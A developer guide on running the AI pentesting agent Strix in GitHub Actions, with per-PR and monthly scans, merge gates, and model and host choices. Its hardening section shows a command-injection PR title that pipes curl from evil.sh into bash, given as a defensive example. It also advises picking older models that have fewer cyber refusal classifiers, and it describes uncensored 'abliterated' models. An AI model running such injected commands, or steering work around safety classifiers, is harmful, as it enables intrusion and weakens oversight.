Security reviews in CI: an AI pentester on every PR

The same AI that lets attackers find holes in your app lets you find them first. That’s the whole play.

AI doesn’t just ship code faster — it hunts for vulnerabilities, too. You already build with harnesses like Claude Code and Cursor; now there are security harnesses that do the opposite job: breaking into your app by reading its source, or running it in a sandbox and black-box testing it from nothing but a URL. Strix is the one we’ll wire up. Point one at your own code before someone points theirs at your merchants’.

Testing continuously isn’t optional — it’s how you protect your customers’ data, and as the developer it’s on you. This guide builds that into your pipeline two ways: a fast scan on every risky PR to catch vulnerabilities before they ship, and a deep scan on a schedule to keep auditing what’s already live.

The trick is running it so it’s useful (catches real bugs), affordable (an LLM pentest is slow and costs tokens), and safe (a bot with repo access and a merge vote is itself a juicy target). Here’s the shape that gets all three.

Two scans, not one

An AI pentest is too slow and costly to run on every push, and too valuable to run only once. So split it in two, by cadence:

The per-PR pass is the guardrail on new code; the interval sweep is the periodic audit that finds what accumulated — the endpoint added six months ago that nobody flagged, the scope that quietly went unused. Neither one alone is enough.

Here’s the per-PR flow end to end:

flowchart TD
    PR([PR opened / pushed]) --> LBL{security-scan<br/>label present?}
    LBL -->|yes| SCAN[Strix quick scan<br/>diff-scoped, budget-capped]
    LBL -->|no| SKIP[Scan skipped]:::good
    SCAN --> FIND{findings?}
    FIND -->|yes| REPORT[File tracking issue<br/>+ PR comment]
    FIND -->|none| GATE{security gate}
    REPORT --> SEV{high or critical?}
    SEV -->|yes| GATE
    SEV -->|medium or low| GATE
    SKIP --> GATE
    GATE -->|high or critical| BLOCK[Merge blocked]:::bad
    GATE -->|clean or advisory| MERGE[Merge allowed]:::good
    classDef bad fill:#1a0f0f,stroke:#FF5F56,color:#FF5F56;
    classDef good fill:#0d1a12,stroke:#7CF9A0,color:#7CF9A0;

Two things to notice, because they’re what make this survivable on a busy repo:

• The scan is opt-in. A dev flags a PR as security-relevant with a label. Auto-scanning every PR is slow, noisy, and expensive — most PRs don’t touch the trust boundary.
• The gate always runs, the scan doesn’t. The merge check is a separate, always-on job. Skip the scan and the gate passes. That’s deliberate: a required check that only sometimes runs would deadlock every normal PR forever.

  changes:                      # cheap ubuntu job, runs on every PR
    runs-on: ubuntu-latest
    outputs:
      risky: ${{ steps.f.outputs.risky }}
    steps:
      - uses: actions/checkout@v4
        with: { fetch-depth: 0 }
      - id: f
        env:
          BASE_REF: ${{ github.base_ref }}
        run: |
          FILES="$(git diff --name-only "origin/$BASE_REF"...)"
          echo "$FILES" | grep -qE '(webhooks/|/auth/|\.server\.(ts|js)$|routes/api/)' \
            && echo "risky=true"  >> "$GITHUB_OUTPUT" \
            || echo "risky=false" >> "$GITHUB_OUTPUT"

  scan:
    needs: [changes]
    if: >
      github.event.pull_request.draft == false &&
      (needs.changes.outputs.risky == 'true' ||
       contains(github.event.pull_request.labels.*.name, 'security-scan'))
    # …rest of the scan job unchanged…

Scan 1 — the per-PR quick pass

Label-gated, diff-scoped, budget-capped. This is the whole job:

# .github/workflows/security-quick-scan.yml
name: security-quick-scan

on:
  pull_request:
    # Include labeled/unlabeled so the required gate below re-evaluates on label
    # changes; opened/synchronize so it reports on every PR.
    types: [opened, synchronize, reopened, ready_for_review, labeled, unlabeled]

concurrency:
  # Rapid pushes to one PR collapse to a single scan.
  group: security-scan-${{ github.event.pull_request.number }}
  cancel-in-progress: true

permissions:
  contents: read
  pull-requests: write   # to post the findings comment
  issues: write          # to file the tracking issue

jobs:
  scan:
    # Only labeled, non-draft PRs actually scan. Everything else skips → gate passes.
    if: >
      github.event.pull_request.draft == false &&
      contains(github.event.pull_request.labels.*.name, 'security-scan')
    runs-on: ubuntu-latest
    timeout-minutes: 30
    outputs:
      blocking: ${{ steps.severity.outputs.blocking }}
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0   # need the base ref for a diff-scoped scan

      - name: Install Strix
        run: pipx install strix-agent

      - name: Quick diff scan
        id: strix
        continue-on-error: true   # findings are surfaced by the gate, not by failing here
        env:
          # The model is a privacy + guardrail decision, not just a capability one —
          # see "Choosing the model" below for why this is a mid-tier Opus, not the newest.
          STRIX_LLM: anthropic/claude-opus-4-6
          LLM_API_KEY: ${{ secrets.LLM_API_KEY }}
          STRIX_REASONING_EFFORT: medium
          BASE_REF: ${{ github.base_ref }}
        run: |
          strix -n \
            -m quick \
            --scope-mode diff --diff-base "origin/$BASE_REF" \
            --max-budget 5 \
            -t .

      - name: Upload results
        if: always()
        uses: actions/upload-artifact@v4
        with:
          name: strix-pr-${{ github.event.pull_request.number }}-${{ github.run_id }}
          path: strix_runs/
          retention-days: 14

What each guardrail is buying you:

• --scope-mode diff --diff-base — reviews only what the PR changed, so a quick scan is minutes, not hours. (This is why fetch-depth: 0 — you need the base ref to diff against.)
• --max-budget 5 + timeout-minutes: 30 — two independent ceilings on spend. Strix stops at the dollar cap; the runner stops at the wall-clock cap. Neither can run away.
• continue-on-error: true — the scan step never fails the build. Strix exits non-zero when it finds something; you want that signal reported and gated, not thrown as a raw CI failure.
• concurrency … cancel-in-progress — force-push twice in a minute and you pay for one scan, not three.

Turn findings into issues — and a merge gate

A scan that dumps a log nobody reads is theatre. Do two things with the output: deliver it where the work happens (a PR comment + a tracking issue), and gate the merge on risk.

Add a reporting step to the scan job. The critical detail is that every untrusted PR field goes through env, never interpolated into the script — see Harden the harness for why that one habit matters most:

      - name: Report findings (tracking issue + PR comment)
        if: steps.strix.outcome == 'failure'   # Strix exits non-zero on findings
        env:
          GH_TOKEN: ${{ github.token }}
          PR_NUMBER: ${{ github.event.pull_request.number }}
          PR_URL: ${{ github.event.pull_request.html_url }}
        run: |
          JSON="$(find strix_runs -name vulnerabilities.json | head -1)"
          COUNT="$(find strix_runs -path '*/vulnerabilities/*.md' | wc -l | tr -d ' ')"
          [ "$COUNT" -gt 0 ] || exit 0
          # e.g. "2× high, 1× medium" — a group-by over the structured output.
          SUMMARY="$(jq -r '[.[].severity]|group_by(.)|map("\(length)× \(.[0])")|join(", ")' "$JSON")"

          BODY="$RUNNER_TEMP/findings.md"
          {
            printf 'Findings from the AI security scan on PR **#%s** — %s\n\n' "$PR_NUMBER" "$PR_URL"
            printf '**Summary:** %s\n\n' "$SUMMARY"
            printf '> AI-generated and diff-scoped. **Triage before acting** — expect false positives.\n\n'
            find strix_runs -path '*/vulnerabilities/*.md' | sort \
              | while read -r f; do cat "$f"; printf '\n\n---\n\n'; done
          } | head -c 60000 > "$BODY"

          ISSUE_URL="$(gh issue create \
            --title "[security] Scan findings on PR #$PR_NUMBER — $(date +%Y-%m-%d)" \
            --body-file "$BODY")"
          gh pr comment "$PR_NUMBER" --body "🦉 Security scan — **$SUMMARY**. Tracking: $ISSUE_URL"

      - name: Compute blocking severity
        id: severity
        if: always()
        run: |
          JSON="$(find strix_runs -name vulnerabilities.json | head -1)"
          HC=0
          [ -n "$JSON" ] && HC="$(jq '[.[] | select((.severity|ascii_downcase)|test("^(high|critical)$"))] | length' "$JSON")"
          echo "blocking=$([ "${HC:-0}" -gt 0 ] && echo true || echo false)" >> "$GITHUB_OUTPUT"

Then the always-on gate — a cheap second job that’s the one you mark required in branch protection:

  security-gate:
    needs: [scan]
    if: always()             # ← always runs, so it can be a required status check
    runs-on: ubuntu-latest
    steps:
      - name: Evaluate scan outcome
        env:
          SCAN_RESULT: ${{ needs.scan.result }}
          SCAN_BLOCKING: ${{ needs.scan.outputs.blocking }}
        run: |
          case "$SCAN_RESULT" in
            skipped)          echo "No label / draft — scan not requested. Pass."; exit 0 ;;
            failure|cancelled) echo "::warning::Scan didn't complete cleanly — failing open."; exit 0 ;;
          esac
          if [ "$SCAN_BLOCKING" = "true" ]; then
            echo "::error::High/critical findings — blocking merge. See the PR comment."
            exit 1
          fi
          echo "No high/critical findings — pass."

Three design choices are doing real work here:

• The gate is a separate always-on job. It’s the required check. Because it runs on every PR (labeled or not), it can be required without deadlocking unlabeled PRs — they skip the scan, and the gate reads skipped as a pass.
• It fails open on scanner errors. If Strix or the LLM backend is down, the gate warns and passes. You do not want your ability to merge anything held hostage by a third-party model’s uptime. (Availability is not the threat you’re defending against here.)
• Only high/critical block. Medium and low are filed as issues and comments but never wedge a merge. That’s your risk profile, in one line of jq.

Scan 2 — the deep interval sweep

Same tool, opposite tradeoffs: full scope, deep mode, generous budget, on a schedule. It never blocks anything — it files an issue you triage.

# .github/workflows/security-deep-scan.yml
name: security-deep-scan

on:
  schedule:
    - cron: "0 6 1 * *"   # 06:00 UTC on the 1st of each month
  workflow_dispatch:       # …and on demand
    inputs:
      max_budget: { description: "Max LLM spend (USD)", default: "40" }

concurrency:
  group: security-deep
  cancel-in-progress: false   # never kill a long deep scan mid-run

permissions:
  contents: read
  issues: write

jobs:
  deep-scan:
    runs-on: ubuntu-latest
    timeout-minutes: 180      # deep mode can run 1–2 hours
    steps:
      - uses: actions/checkout@v4
      - run: pipx install strix-agent
      - name: Deep scan
        id: strix
        continue-on-error: true   # a scheduled scan is advisory — never fail the schedule
        env:
          STRIX_LLM: anthropic/claude-opus-4-6
          LLM_API_KEY: ${{ secrets.LLM_API_KEY }}
          STRIX_REASONING_EFFORT: high
          MAX_BUDGET: ${{ github.event.inputs.max_budget || '40' }}
        run: strix -n -m deep --scope-mode full --max-budget "$MAX_BUDGET" -t .
      - name: Upload results
        if: always()
        uses: actions/upload-artifact@v4
        with: { name: strix-deep-${{ github.run_id }}, path: strix_runs/, retention-days: 90 }
      - name: File findings issue
        if: steps.strix.outcome == 'failure'
        env: { GH_TOKEN: "${{ github.token }}" }
        run: |
          BODY="$RUNNER_TEMP/deep.md"
          find strix_runs -path '*/vulnerabilities/*.md' | sort \
            | while read -r f; do cat "$f"; printf '\n\n---\n\n'; done | head -c 60000 > "$BODY"
          gh issue create --title "[security] Deep scan findings — $(date +%Y-%m-%d)" --body-file "$BODY"

Note the inverted defaults: cancel-in-progress: false (never interrupt a two-hour run), reasoning_effort: high (you’re paying for depth, not speed), and no gate at all (drift findings are for triage, not for blocking whoever happens to push next).

Choosing the harness

The harness is the orchestrator — it decides what to probe and what to run next, drives the sandbox, and files what it finds. Nearly all are model-agnostic (usually via LiteLLM): you plug a model into it (the next section), so the harness and the model are two separate choices. It’s a crowded, fast-moving field — ranked by GitHub stars at the time of writing, the notable open-source autonomous pentesters:

¹ CAI ships a non-standard license — review its terms before commercial use.

A couple of things the star-ranking would otherwise blur:

• HexStrike AI (11k) is a different shape — an MCP server that hands 150+ pentest tools to an agent you already run (Claude Code, Cursor). Pair it with a harness, not instead of one.
• Don’t confuse these with LLM red-teaming tools (promptfoo, deepteam) — those attack your models, not your app. Different job.
• The full, churning field is tracked in the Awesome-Offensive-AI-Agentic-Landscape and Awesome-AI-Hacking-Agents lists.

What to weigh: open-source + self-hostable (audit it, keep it inside your network), source vs. black-box coverage (source-scanning fits a CI diff; black-box fits a deployed staging URL — Strix does both), and CI ergonomics — a non-interactive mode, budget caps, and machine-readable output. Whatever you pick is just the driver; the intelligence is the model you put behind it.

🦝 One to skip: Villager is an MCP-driven pentest agent researchers flag as China-linked and abuse-prone (a Cobalt-Strike-style trajectory). Capable, but not something to wire into your build.

Choosing the model

The harness is the driver; the model is the brain. Four things decide it for an autonomous pentester — will it do authorized offensive work, how capable is it, what does it cost, and can you self-host it — and they don’t line up the way you’d guess.

Cost is per-MTok for hosted (mid Opus ≈ $5/$25, Fable ≈ $10/$50) and GPU/infra for self-host. Effectiveness is deliberately qualitative — the 2026 offense benchmarks floating around for open models are mostly vendor/blog numbers, so don’t bet on a single score.

The guardrail trap: your pentester may refuse to pentest

Here’s the counterintuitive part. The newest, most capable models carry the heaviest cybersecurity guardrails, and an autonomous pentester is exactly the workload that trips them. Developers have hit refusals mid-engagement even on legitimately authorized work.

Vendor policy is clear that authorized security work is allowed — Anthropic’s usage policy permits discovering vulnerabilities with the system owner’s consent — but the model can’t verify your authorization from inside a scan. So two things help: give the harness a system prompt stating the role, the authorization, and the scope; and don’t reach for the newest model by reflex:

• Claude Fable 5 — the most capable, and the worst fit here: its safety classifiers explicitly target most cybersecurity content, and it’s stated to be not intended for that domain. It also can’t run under zero-retention.
• Claude Opus 5 — elevated cyber safeguards; cyber-category refusals are designed to fall back to Opus 4.8.
• A mid-tier Opus (4.8 / 4.6) — capable enough for diff-scoped review, with fewer cyber classifiers in the way. This is why the workflows above pin claude-opus-4-6 rather than the flagship. It’s a deliberate choice, not a stale one.

“Newer generations are better-calibrated” is not an established fact — over-refusal can even regress across versions — so treat model choice as something to test against your own scope, not assume.

🦝 The uncensored escape hatch — and why it’s a trap for CI. Security-tuned open models (WhiteRabbitNeo / DeepHat, “abliterated” builds with the refusal direction removed) never refuse offensive tasks. Fine for a human running a tool locally and checking every result. But they’re built on smaller bases (weaker reasoning) and their output is uncensored and unvetted — including confidently wrong findings. As the autonomous thing that gates your merges, that’s a downgrade on both capability and trust. Prefer a frontier model that will do authorized work over an uncensored one that will do anything.

Choosing the inference host

The same model can run in several places, and the host — not the model — decides residency, retention, and governance, the compliance half of this. It matters as much as the model, because the harness feeds your source code and a map of your live vulnerabilities through it.

• Bedrock and Vertex are the strong default for a regulated Shopify app — no training on your data, encrypted at rest in your Region, and the compliance coverage you’ll be asked about (SOC, ISO, HIPAA, FedRAMP, GDPR). Both keep data in-geography through regional endpoints; skip either one’s residency-free global option. (Vertex is the cloud Shopify itself runs on, if that tips it.) This is what the workflows above assume — the model reached through the runner’s cloud IAM role, no key in CI.
• OpenRouter is the most convenient and the most work to make safe. With defaults, the same prompt can hit different companies in different countries on consecutive calls. Before any real target data flows: opt out of training at the account level, and per request set zdr: true, data_collection: "deny", an explicit only provider list, and allow_fallbacks: false.
• Self-hosting is the only way to guarantee nothing leaves your network — point Strix’s LLM_API_BASE at a local Ollama / vLLM endpoint — at the cost of capability and the GPUs to serve it.

Putting it together: for most teams, run Strix against a mid-tier Opus on Bedrock or Vertex via an IAM role — capable, willing to do authorized work, and governed. Self-host an open model when target data can’t leave your network; keep OpenRouter for experiments, locked down.

Harden the harness

You’ve just given a bot repo read access, issue-write, PR-comment, and a vote on merges. That bot runs on input an attacker controls — the PR. Treat the workflow itself as attackable.

# ☠️  DON'T — a PR titled  $(curl evil.sh | bash)  runs on your runner
run: echo "Scanning ${{ github.event.pull_request.title }}"

# ✅  DO — pass through env; the value is data, never code
env:
  PR_TITLE: ${{ github.event.pull_request.title }}
run: printf '%s\n' "$PR_TITLE"

The rest of the checklist, straight from GitHub’s hardening guide:

• Least-privilege GITHUB_TOKEN. Set permissions: explicitly per workflow — contents: read and only the writes you use. Don’t inherit the repo default.
• Don’t scan fork PRs with secrets. pull_request (what these workflows use) runs with a read-only token and no secrets for forks — good. Never “fix” a missing key by switching to pull_request_target, which runs privileged with your secrets against untrusted code. That’s the classic pipeline takeover.
• Pin your actions and tools. Pin third-party actions to a full commit SHA, and prefer a vetted, pinned Strix version (a baked runner image, ideally) over curl | bash on every run — your scanner is itself a supply-chain dependency. See Shopify’s note on managing supply-chain risk.
• Cap the spend. --max-budget and timeout-minutes aren’t just cost controls — they bound what a prompt-injected or runaway agent can do on your dime.

Triage: findings are signals, not verdicts

An AI pentester is a lead generator, not an oracle. It will surface real bugs a human review missed — and it will also confidently report things that aren’t exploitable. Both are normal. Build the triage habit into the workflow so nobody treats a scan comment as gospel:

Two rules keep this honest:

1. Verify before acting. Reproduce the finding — Strix runs real proof-of-concept exploits, so there’s usually something concrete to replay. If you can’t reproduce it, it’s a false positive; close it with a one-line reason so the next scan’s duplicate is easy to dismiss.
2. Turn confirmed findings into tests. A real bug the scan caught should leave a deterministic test behind so it can never regress silently. The AI finds the candidate once; your test suite holds the line forever. That pairing — non-deterministic hunter, deterministic guard — is the whole point.

This also feeds straight into Shopify’s own expectations: the App Store review has a dedicated security section, and the protected customer data requirements ask you to have a real security-incident and data-loss-prevention posture. A scanning pipeline with a triage trail is evidence you do.

The checklist

• Two workflows: a diff-scoped quick scan (per-PR) and a full deep scan (scheduled)
• Per-PR scan is opt-in via label — you don’t auto-scan every PR
• Findings become a PR comment + a tracking issue, not just a CI log
• A separate always-on gate job is the required check; it fails open on scanner errors
• Merge blocks on high/critical only; medium/low stay advisory
• Every scan has both a --max-budget and a timeout-minutes ceiling
• Untrusted PR fields flow through env:, never ${{ }} in a run: script
• permissions: is least-privilege; fork PRs never run with secrets (pull_request, not pull_request_target)
• Actions pinned to SHAs; the scanner itself is a pinned, vetted dependency
• Confirmed findings leave a regression test behind

References

• Strix — the open-source autonomous AI pentesting agent this guide wires up: it runs your code and validates findings with real exploits.
• GitHub Actions — secure use reference — script injection, GITHUB_TOKEN permissions, and the pull_request_target trap.
• Following security best practices — Shopify on broken access control, using official templates, operating secure infra, and managing supply-chain risk.
• App Store requirements — §3 Security — the security bar your app is reviewed against before listing.
• Work with protected customer data — the data-protection, DLP, and incident-response requirements a scanning pipeline helps you evidence.
• Deploy app components in a CD pipeline — the deploy half of CI/CD; add the security scans above alongside it.
• Anthropic Usage Policy — authorized security work is permitted with the system owner’s consent; the line the harness’s refusals sit on.
• Amazon Bedrock — abuse detection & data retention — the zero-retention default, and the models (Fable 5) that are the exception.
• OpenRouter — Zero Data Retention — the zdr / data_collection knobs and what “retention” does and doesn’t cover.
• Vertex AI — data governance — Google’s “we don’t train on your data” commitment across managed and partner (Claude) models.